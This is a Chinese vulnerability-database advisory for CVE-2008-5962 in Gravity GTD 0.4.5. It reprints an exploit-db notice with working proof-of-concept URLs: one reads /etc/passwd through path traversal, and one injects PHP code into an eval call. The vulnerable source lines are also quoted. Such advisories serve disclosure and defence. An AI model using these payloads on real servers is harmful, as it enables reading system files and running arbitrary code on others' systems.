Gravity GTD ‘library/setup/rpc.php’ 目录遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116933 漏洞类型 路径遍历
发布时间 2008-12-04 更新时间 2009-01-26
CVE编号 CVE-2008-5962 CNNVD-ID CNNVD-200901-319
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/7344
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-319
|漏洞详情
GravityGettingThingsDone(GTD)0.4.5及之前版本中的library/setup/rpc.php存在目录遍历漏洞。远程攻击者可以借助objectname参数中的"..",包含和运行任意的本地文件。
|漏洞EXP
:::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #####################################################
 #  [ gravity-gtd <= 0.4.5 ]  LFI/RCE Vulnerability  #
 #####################################################
 #
 # Script: An open source list manager for tracking action items according to the principles of Getting Things Done (GTD).
 #
 # Download: http://sourceforge.net/projects/gravity-gtd/
 #
 # [LFI] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=/../../../../../../../../etc/passwd%00
 # [RCE] Vuln: http://site.com/gravity/library/setup/rpc.php?objectname=Xmenu();phpinfo();die
 #     
 # Bug: ./gravity-0.4.5/library/setup/rpc.php (lines: 15-20)
 #
 # ...
 #		$objectName = $_REQUEST['objectname'];
 #
 #
 #		include  ("../objects/class.".strtolower($objectName).".php");				// LFI
 #
 #		eval ('$instance = new '.$objectName.'();');								// RCE
 # ... 	 
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-12-04]
|参考资料

来源:XF
名称:gravitygtd-rpc-file-include(47090)
链接:http://xforce.iss.net/xforce/xfdb/47090
来源:BID
名称:32646
链接:http://www.securityfocus.com/bid/32646
来源:MILW0RM
名称:7344
链接:http://www.milw0rm.com/exploits/7344
来源:SECUNIA
名称:32982
链接:http://secunia.com/advisories/32982